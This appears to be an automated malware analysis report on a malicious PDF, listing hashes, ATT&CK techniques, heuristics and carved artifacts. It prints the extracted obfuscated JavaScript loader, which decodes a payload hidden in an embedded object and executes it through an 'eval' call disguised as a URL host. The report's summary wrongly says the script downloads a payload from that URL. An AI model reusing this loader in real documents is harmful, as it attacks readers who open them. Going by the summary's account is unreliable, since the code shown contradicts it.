Malicious PDF — malware analysis report

Static analysis result for SHA-256 0d0e82694acacdca…

MALICIOUS

PDF

4.6 KB First seen: 2013-06-26
MD5: e3eb3d313daf61d4f962ec28af315f96 SHA-1: 85c3e9289d0c10b2343c7bbb55b9429f05a31625 SHA-256: 0d0e82694acacdca3e588cbbe72207354d8513373ae204d5a756974e03120f9f
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript that attempts to download a second-stage payload from the hardcoded URL "http://eval/query?a=exemple&b=2". The script reconstructs this URL from concatenated strings and then attempts to execute it. The ML classifier strongly indicates maliciousness, and the malformed stream length heuristic suggests an exploit attempt.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x482 79849 bytes
SHA-256: 9834d7db98b7859b8430b55bede45711b2ebf43919a9c318da550298336536a3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
264 of 264 identifiers look randomly generated (e.g. 'ZYV7PDLpxEf4zdqb1ZYV7PDLpxEf4zdqb2ZYV7PD') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x224 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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